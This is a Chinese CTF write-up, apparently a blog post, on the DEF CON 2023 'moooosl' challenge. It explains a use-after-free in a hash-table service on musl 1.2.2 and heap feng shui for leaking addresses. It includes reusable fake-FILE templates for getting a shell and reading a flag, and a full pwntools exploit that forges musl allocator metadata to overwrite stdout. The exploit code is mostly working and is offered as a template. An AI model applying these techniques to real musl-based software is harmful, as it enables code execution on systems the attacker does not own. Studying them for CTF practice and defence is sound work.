r = -(fputs(s, stdout) < 0 || putc_unlocked('\n', stdout) < 0);
FUNLOCK(stdout);
return r;
}

int fputs(const char *restrict s, FILE *restrict f) {
size_t l = strlen(s);
return (fwrite(s, 1, l, f) == l) - 1;
}

size_t fwrite(const void *restrict src, size_t size, size_t nmemb, FILE *restrict f) {
size_t k, l = size * nmemb;
if (!size) nmemb = 0;
FLOCK(f);
k = __fwritex(src, l, f);
FUNLOCK(f);
return k == l ? nmemb : k / size;
}

int __towrite(FILE *f) {
...
if (f->flags & F_NOWR) {
f->flags |= F_ERR;
return EOF;
}
...
return 0;
}

size_t __fwritex(const unsigned char *restrict s, size_t l, FILE *restrict f) {
size_t i = 0;

if (!f->wend && __towrite(f)) return 0;

if (l > f->wend - f->wpos) return f->write(f, s, l);
...
}

getshell 模板:

1
2
3
4
5
6
7
8
9
10
11
12
fake_file = b""
fake_file += b"/bin/sh".ljust(8, b'\x00') # flags
fake_file += p64(0) # rpos
fake_file += p64(0) # rend
fake_file += p64(0) # close
fake_file += p64(0x114514) # wend
fake_file += p64(0x114514) # wpos
fake_file += p64(0) # mustbezero_1
fake_file += p64(0x114514) # wbase
fake_file += p64(0) # read
fake_file += p64(libc.sym['system']) # write
fake_file = fake_file.ljust(0x80, b'\x00')

orw musl-1.2.2 模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
fake_name_addr = libc.address + 0xb7990
payload_addr = libc.address - 0x6fe0
fake_file_addr = payload_addr
fake_group_addr = fake_file_addr + 0x90
fake_chunk_addr = fake_group_addr + 0x10
fake_meta_area_offset = ((payload_addr + 0xFFF) & ~0xFFF) - payload_addr
fake_meta_offset = fake_meta_area_offset + 8
fake_meta_addr = payload_addr + fake_meta_offset
stderr_used_addr = libc.address + 0xb43a0
rop_addr = fake_chunk_addr

magic_gadget = libc.search(asm('mov rsp, qword ptr [rdi + 0x30] ; jmp qword ptr [rdi + 0x38]'), executable=True).next()
pop_rdi_ret = libc.search(asm("pop rdi;ret"), executable=True).next()
pop_rsi_ret = libc.search(asm("pop rsi;ret"), executable=True).next()
pop_rdx_ret = libc.search(asm("pop rdx;ret"), executable=True).next()
pop_rax_ret = libc.search(asm("pop rax;ret"), executable=True).next()
ret = libc.search(asm("ret"), executable=True).next()
buf_addr = payload_addr

rop = b''
rop += p64(pop_rdi_ret)
rop += p64(buf_addr)
rop += p64(pop_rsi_ret)
rop += p64(0)
rop += p64(libc.sym['open'])
rop += p64(pop_rdi_ret)
rop += p64(3)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['read'])
rop += p64(pop_rdi_ret)
rop += p64(1)
rop += p64(pop_rsi_ret)
rop += p64(buf_addr)
rop += p64(pop_rdx_ret)
rop += p64(0x100)
rop += p64(libc.sym['write'])

fake_file = b""
fake_file += b"./flag".ljust(8, b'\x00') # flags
fake_file += p64(0) # rpos
fake_file += p64(0) # rend
fake_file += p64(0) # close
fake_file += p64(0) # wend
fake_file += p64(0) # wpos
fake_file += p64(rop_addr) # mustbezero_1
fake_file += p64(ret) # wbase
fake_file += p64(0) # read
fake_file += p64(magic_gadget) # write
fake_file = fake_file.ljust(0x90, b'\x00') # lock = 0

fake_group = p64(fake_meta_addr) + p64(0)

fake_meta = b''
fake_meta += p64(fake_file_addr) # prev
fake_meta += p64(stderr_used_addr) # next
fake_meta += p64(fake_group_addr) # mem
fake_meta += p32(0b0000) # avail_mask
fake_meta += p32(0b1110) # freed_mask
last_idx = 3
freeable = 1
sizeclass = 8
maplen = 0
fake_meta += p64(last_idx | (freeable << 5) | (sizeclass << 6) | (sizeclass << 12))

fake_meta_area = p64(leak_secret) + fake_meta

payload = b''
payload += fake_file
payload += fake_group
payload += rop
assert len(payload) <= fake_meta_area_offset
payload = payload.ljust(fake_meta_area_offset, b'\x00')
payload += fake_meta_area
payload = payload.ljust(0x2000, b'\x00')

fake_node = b''
fake_node += p64(fake_name_addr) # name_addr
fake_node += p64(fake_chunk_addr) # content_addr
fake_node += p64(len('fake name')) # name_size
fake_node += p64(0) # content_size
fake_node += p64(0) # next

add('hijack node'.ljust(0x28, b'\x00'), fake_node)
add("payload", payload)
log.info("fake chunk addr: " + hex(fake_chunk_addr))

题目分析

题目为defcon 2023 moooosl
musl版本为1.2.2

题目源码

赛题好像没有给出源码,不过代码比较简单,ida看的反而比源码更加方便,这里为了方便看的人了解题目,就把源码贴出来了
h.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#include <time.h>
#include <stdio.h>
#include <stdint.h>

static uint32_t key_hash(const uint8_t *key, size_t key_size)
{
uint64_t h = 0;
for (int i = 0; i < key_size; i++) {
h = h * 0x13377331 + key[i];
}
return h;
}

uint64_t H[0x100000];

int main()
{
srand(time(NULL));
uint32_t shift = rand();
char tmp[8] = {0};
#define L 0x40
#define R 0x7f
for (char a = L; a < R; a++) {
tmp[0] = a;
for (char b = L; b < R; b++) {
tmp[1] = b;
for (char c = L; c < R; c++) {
tmp[2] = c;
for (char d = L; d < R; d++) {
tmp[3] = d;
for (char e = L; e < R; e++) {
tmp[4] = e;
uint32_t h = key_hash(&tmp, 5) - shift;
if (h < 0x100000) {
if (H[h] == 0) {
H[h] = *(uint64_t *)&tmp;
} else {
printf("%s %s => %#08x\n", tmp, &H[h], h);
}
}
}
}
}
}
}
}

service.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
#include <stdio.h>
#include <string.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>

static int recvuntil(void *buf, size_t n)
{
for (int i = 0; i < n; i++) {
char c;
if (read(0, &c, 1) != 1) {
return i;
}
((char *)buf)[i] = c;
if (c == '\n') {
((char *)buf)[i] = 0;
return i;
}
}
return n;
}

static int readint()
{
char buf[0x10] = {0};
recvuntil(&buf, sizeof(buf));
return atoi(buf);
}

static size_t read_key(uint8_t **key)
{
printf("key size: ");
size_t key_size = readint();
*key = calloc(1, key_size);
printf("key content: ");
return recvuntil(*key, key_size);
}

static size_t read_value(uint8_t **value)
{
printf("value size: ");
size_t value_size = readint();
*value = calloc(1, value_size);
printf("value content: ");
return recvuntil(*value, value_size);
}

struct node {
uint8_t *key;
uint8_t *value;
size_t key_size;
size_t value_size;
uint64_t hash;
struct node *next;
// struct node *prev;
};

static uint32_t key_hash(const uint8_t *key, size_t key_size)
{
uint64_t h = 2021;
for (int i = 0; i < key_size; i++) {
h = h * 0x13377331 + key[i];
}
return h;
}

static void value_dump(const uint8_t *data, size_t size)
{
printf("%#lx:", size);
for (int i = 0; i < size; i++) {
printf("%02x", data[i]);
}
puts("");
}

#define HASH_SIZE 0x1000
#define HASH_MASK (HASH_SIZE - 1)
static struct node *list_heads[HASH_SIZE];

static void menu()
{
puts("1: store");
puts("2: query");
puts("3: delete");
puts("4: exit");
printf("option: ");
}

static struct node *lookup(const uint8_t *key, size_t key_size)
{
uint64_t h = key_hash(key, key_size);
for (struct node *n = list_heads[h & HASH_MASK]; n; n = n->next) {
if (n->hash == h && n->key_size == key_size && !memcmp(key, n->key, key_size)) {
return n;
}
}
return NULL;
}

static void store()
{
struct node *node = calloc(1, sizeof(struct node));
node->key_size = read_key(&node->key);
// always insert to the head, don't check duplicated entries
node->value_size = read_value(&node->value);
node->hash = key_hash(node->key, node->key_size);
const uint32_t h = node->hash & HASH_MASK;
struct node *next = list_heads[h];
list_heads[h] = node;
node->next = next;
// node->prev = NULL;
puts("ok");
}

static void query()
{
uint8_t *key = NULL;
size_t key_size = read_key(&key);
struct node *n = lookup(key, key_size);
if (n == NULL) {
puts("err");
} else {
value_dump(n->value, n->value_size);
puts("ok");
}
free(key);
}

static void delete()
{
uint8_t *key = NULL;
size_t key_size = read_key(&key);
struct node *n = lookup(key, key_size);
if (n == NULL) {
puts("err");
} else {
struct node **p = &list_heads[n->hash & HASH_MASK];
if (*p == n || n->next != NULL) {
// above condition is buggy
// remove `n` from the linked list
while (*p != n) {
p = &(*p)->next;
}
*p = n->next;
} else {
// uaf: if `n` is at the tail of the linked list
}
free(n->key);
free(n->value);
free(n);
puts("ok");
}
free(key);
}

int main(int argc, char** argv) {
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
while (1) {
menu();
int op = readint();
switch (op) {
case 1:
store();
break;
case 2:
query();
break;
case 3:
delete();
break;
case 4:
puts("bye");
exit(0);
default:
puts("invalid");
exit(0);
}
}
return 0;
}

题目分析

很好,一做题就废,跟着sung3r师傅的文章才一步一步的复现出来,这里就对sung3r的文章进行部分补充
需要注意:需要等group内所有chunk都处于freed或者used状态时,才会将freed状态的chunk转换成avaliable
可以看到query()函数每次打印的数据是该哈希链表最外侧结点的数据,而插入结点则是将结点插入最内侧
可以看到delete()函数当n为哈希链表的尾部且该哈希链表的结点个数大于一个时,会跳过循环直接进行free,存在UAF漏洞
每次store时,都会申请0x30大小的空间来存储改结点的信息,该空间结构为:

交互脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def store(key_content, value_content, key_size=None, value_size=None, wait=True):
p.sendlineafter('option: ', '1')
if key_size is None:
key_size = len(key_content)
p.sendlineafter('size: ', str(key_size))
p.sendafter('content: ', key_content)
if value_size is None:
value_size = len(value_content)
p.sendlineafter('size: ', str(value_size))
if wait:
p.recvuntil('content: ')
p.send(value_content)

def query(key_content, key_size=None, wait=True):
p.sendlineafter('option: ', '2')
if key_size is None:
key_size = len(key_content)
p.sendlineafter('size: ', str(key_size))
if wait:
p.recvuntil('content: ')
p.send(key_content)

def delete(key_content, key_size=None):
p.sendlineafter('option: ', '3')
if key_size is None:
key_size = len(key_content)
p.sendlineafter('size: ', str(key_size))
p.sendafter('content: ', key_content)

def get_hash(content):
x = 0x7e5
for c in content:
x = ord(c) + x * 0x13377331
return x & 0xfff

def find_key(length=0x10, h=0x7e5): # 默认为\n对应的hash
while True:
x = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
if get_hash(x) == h:
return x

泄露地址

这里粘贴sung3r师傅关于groupchunk的管理策略:

  • chunk按照内存先后,依次分配
  • free掉的chunk不能马上分配
  • 需要等group内所有chunk都处于freed或者used状态时,才会将freed状态的chunk转换成avaliable
  • 分配chunk时,会将user data域用\x00初始化

接下来即可利用堆风水来进行地址的泄露
我们首先申请随便申请一个堆块,来防止防止freegroup所有chunk时,将整个group内存归还给堆管理器

1
store(b'A', b'A')  

我们来看看此时的group的情况:

可以发现,该存储0x30大小堆块的group最多可以存储7个堆块
接下来,除最后一个与第一个chunk,其余全部free

1
2
for _ in range(5):
query(b'A' * 0x30)

接下来:

1
store(b'\n', b'B' * 0x30)

group的布局为:

再申请一个与’\n’同hash的chunk:

1
store(find_key(), b'A')

这个时候’\n’的哈希链表中就有两个元素,group的布局为:

此时将key’\n’的堆块删除并将group未被使用的堆块全部free掉:

1
2
3
4
delete(b'\n')

for _ in range(3):
query(b'A' * 0x30)

由前面的分析可以知道,此时触发的UAF漏洞,被标为UAF的堆块即为’\n’堆块的value区域,我们可以通过将另一个堆块的struct结构体申请到这里,从而通过query函数访问’\n’来泄露出value的地址。此时group的布局为:

最后申请一个堆块泄露地址:

1
2
store(b'A\n', b'A', 0x1200)
query(b'\n')

group布局为:

同样,我们也能够用相同的策略将libc基地址等内存信息leak出来
leak代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
store(b'A', b'A')

for _ in range(5):
query(b'A' * 0x30)

store(b'\n', b'B' * 0x30)
store(find_key(), b'A')

delete(b'\n')

for _ in range(3):
query(b'A' * 0x30)

store(b'A\n', b'A', 0x1200)
query(b'\n')

res = codecs.decode(p.recvline(False).split(b':')[1], 'hex')
mmap_base = u64(res[:8]) - 0x20
chunk_addr = u64(res[8:0x10])

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(chunk_addr - 0x60) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query(b'\n')
heap_base = u64(codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8]) - 0x1d0

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(heap_base + 0xf0) + p64(0) + p64(0x200) + p64(0x7e5) + p64(0))
query('\n')
libc.address = u64(codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8]) - 0xb7040

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(next(libc.search(b'/bin/sh\0'))) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query(b'\n')
assert codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8] == b'/bin/sh\0'

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(heap_base) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query(b'\n')
secret = u64(codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8])

log.info('mmap base: %#x' % mmap_base)
log.info('chunk address: %#x' % chunk_addr)
log.info('heap base: %#x' % heap_base)
log.info('libc base: %#x' % libc.address)
log.info('secret: %#x' % secret)

fake_meta_addr = mmap_base + 0x2010
fake_mem_addr = mmap_base + 0x2040
stdout = libc.address + 0xb4280
log.info('fake_meta_addr: %#x' % fake_meta_addr)
log.info('fake_mem_addr: %#x' % fake_mem_addr)
log.info('stdout: %#x' % stdout)

泄露出地址后,即可通过伪造meta_area、meta、mem来利用unlink,实现任意地址写,此时即可在stdout中写入fake file然后getshell
2free掉自己伪造的group来实现任意地址分配
嘶,好像有点说不清,跟着exp一步一步调试即可知道详细原理QWQunlink的和fsop的原理上面有讲过(晚点补,如果有机会的话)
其实我感觉meta的伪造好像可以当成模板来使用?

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
from pwn import *
from LibcSearcher import *
from ctypes import *
from struct import pack
import numpy as np
import codecs

p = process(['./libc.so','./pwn'])
context(arch='amd64', os='linux', log_level='debug')
context.terminal = ['wt.exe', '-w', "0", "sp", "-d", ".", "wsl.exe", "-d", "Ubuntu-22.04", "bash", "-c"]
libc = ELF('./libc.so')

def store(key_content, value_content, key_size=None, value_size=None, wait=True):
p.sendlineafter('option: ', '1')
if key_size is None:
key_size = len(key_content)
p.sendlineafter('size: ', str(key_size))
p.sendafter('content: ', key_content)
if value_size is None:
value_size = len(value_content)
p.sendlineafter('size: ', str(value_size))
if wait:
p.recvuntil('content: ')
p.send(value_content)

def query(key_content, key_size=None, wait=True):
p.sendlineafter('option: ', '2')
if key_size is None:
key_size = len(key_content)
p.sendlineafter('size: ', str(key_size))
if wait:
p.recvuntil('content: ')
p.send(key_content)

def delete(key_content, key_size=None):
p.sendlineafter('option: ', '3')
if key_size is None:
key_size = len(key_content)
p.sendlineafter('size: ', str(key_size))
p.sendafter('content: ', key_content)

def get_hash(content):
x = 0x7e5
for c in content:
x = ord(c) + x * 0x13377331
return x & 0xfff

def find_key(length=0x10, h=0x7e5): # 默认为\n对应的hash
while True:
x = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(length))
if get_hash(x) == h:
return x

store(b'A', b'A')

for _ in range(5):
query(b'A' * 0x30)

store(b'\n', b'B' * 0x30)
store(find_key(), b'A')

delete(b'\n')

for _ in range(3):
query(b'A' * 0x30)

store(b'A\n', b'A', 0x1200)
query(b'\n')

res = codecs.decode(p.recvline(False).split(b':')[1], 'hex')
mmap_base = u64(res[:8]) - 0x20
chunk_addr = u64(res[8:0x10])

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(chunk_addr - 0x60) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query(b'\n')
heap_base = u64(codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8]) - 0x1d0

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(heap_base + 0xf0) + p64(0) + p64(0x200) + p64(0x7e5) + p64(0))
query('\n')
libc.address = u64(codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8]) - 0xb7040

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(next(libc.search(b'/bin/sh\0'))) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query(b'\n')
assert codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8] == b'/bin/sh\0'

for _ in range(3):
query(b'A' * 0x30)
query(p64(0) + p64(heap_base) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
query(b'\n')
secret = u64(codecs.decode(p.recvline(False).split(b':')[1], 'hex')[:8])

log.info('mmap base: %#x' % mmap_base)
log.info('chunk address: %#x' % chunk_addr)
log.info('heap base: %#x' % heap_base)
log.info('libc base: %#x' % libc.address)
log.info('secret: %#x' % secret)

fake_meta_addr = mmap_base + 0x2010
fake_mem_addr = mmap_base + 0x2040
stdout = libc.address + 0xb4280
log.info('fake_meta_addr: %#x' % fake_meta_addr)
log.info('fake_mem_addr: %#x' % fake_mem_addr)
log.info('stdout: %#x' % stdout)

# 通过dequeue的unlink在stdout-0x10 的地方写入fake_meta_addr
sc = 8 # 0x90
freeable = 1
last_idx = 0
maplen = 1
fake_meta = b''
fake_meta += p64(stdout - 0x18) # prev
fake_meta += p64(fake_meta_addr + 0x30) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)
fake_meta += p64(0)

fake_mem = b''
fake_mem += p64(fake_meta_addr) # meta
fake_mem += p32(1) # active_idx
fake_mem += p32(0)

payload = b''
payload += b'A' * 0xaa0
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b'\n'

for _ in range(2):
query(b'A' * 0x30)
query(payload, 0x1200)
store(b'A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
delete(b'\n')

# 将该fake meta进入active队列
sc = 8 # 0x90
last_idx = 1
fake_meta = b''
fake_meta += p64(0) # prev
fake_meta += p64(0) # next
fake_meta += p64(fake_mem_addr) # mem
fake_meta += p32(0) + p32(0) # avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += p64(0)

fake_mem = b''
fake_mem += p64(fake_meta_addr) # meta
fake_mem += p32(1) # active_idx
fake_mem += p32(0)

payload = b''
payload += b'A' * 0xa90
payload += p64(secret) + p64(0)
payload += fake_meta
payload += fake_mem
payload += b'\n'

query(b'A' * 0x30)
query(payload, 0x1200)
store(b'A', p64(0) + p64(fake_mem_addr + 0x10) + p64(0) + p64(0x20) + p64(0x7e5) + p64(0))
delete(b'\n')

# 修改meta的mem区域指向stdout-0x10
fake_meta = b''
fake_meta += p64(fake_meta_addr) # prev
fake_meta += p64(fake_meta_addr) # next
fake_meta += p64(stdout - 0x10) # mem
fake_meta += p32(1) + p32(0) # avail_mask, freed_mask
fake_meta += p64((sc << 6) | last_idx)
fake_meta += b'A' * 0x18
fake_meta += p64(stdout - 0x10)

payload = b''
payload += b'A' * 0xa80
payload += p64(secret) + p64(0)
payload += fake_meta
payload += b'\n'
query(payload, 0x1200)

# 写入fake file
fake_file = b""
fake_file += b"/bin/sh".ljust(8, b'\x00') # flags
fake_file += p64(0) # rpos
fake_file += p64(0) # rend
fake_file += p64(0) # close
fake_file += p64(0x114514) # wend
fake_file += p64(0x114514) # wpos
fake_file += p64(0) # mustbezero_1
fake_file += p64(0x114514) # wbase
fake_file += p64(0) # read
fake_file += p64(libc.symbols['system']) # write
fake_file = fake_file.ljust(0x80, b'\x00')
store(b'A', fake_file, value_size=0x80, wait=False)

p.interactive()

参考文章

https://bbs.kanxue.com/thread-269533.htm
https://www.anquanke.com/post/id/246929
https://blog.csdn.net/qq_45323960/article/details/129800670
https://www.anquanke.com/post/id/241104#h2-3